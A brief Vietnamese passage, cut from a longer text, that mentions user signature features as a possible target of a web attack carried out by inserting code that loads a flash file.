các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này, bằng
cách nhập đoạn mã gọi tập tin flash vào.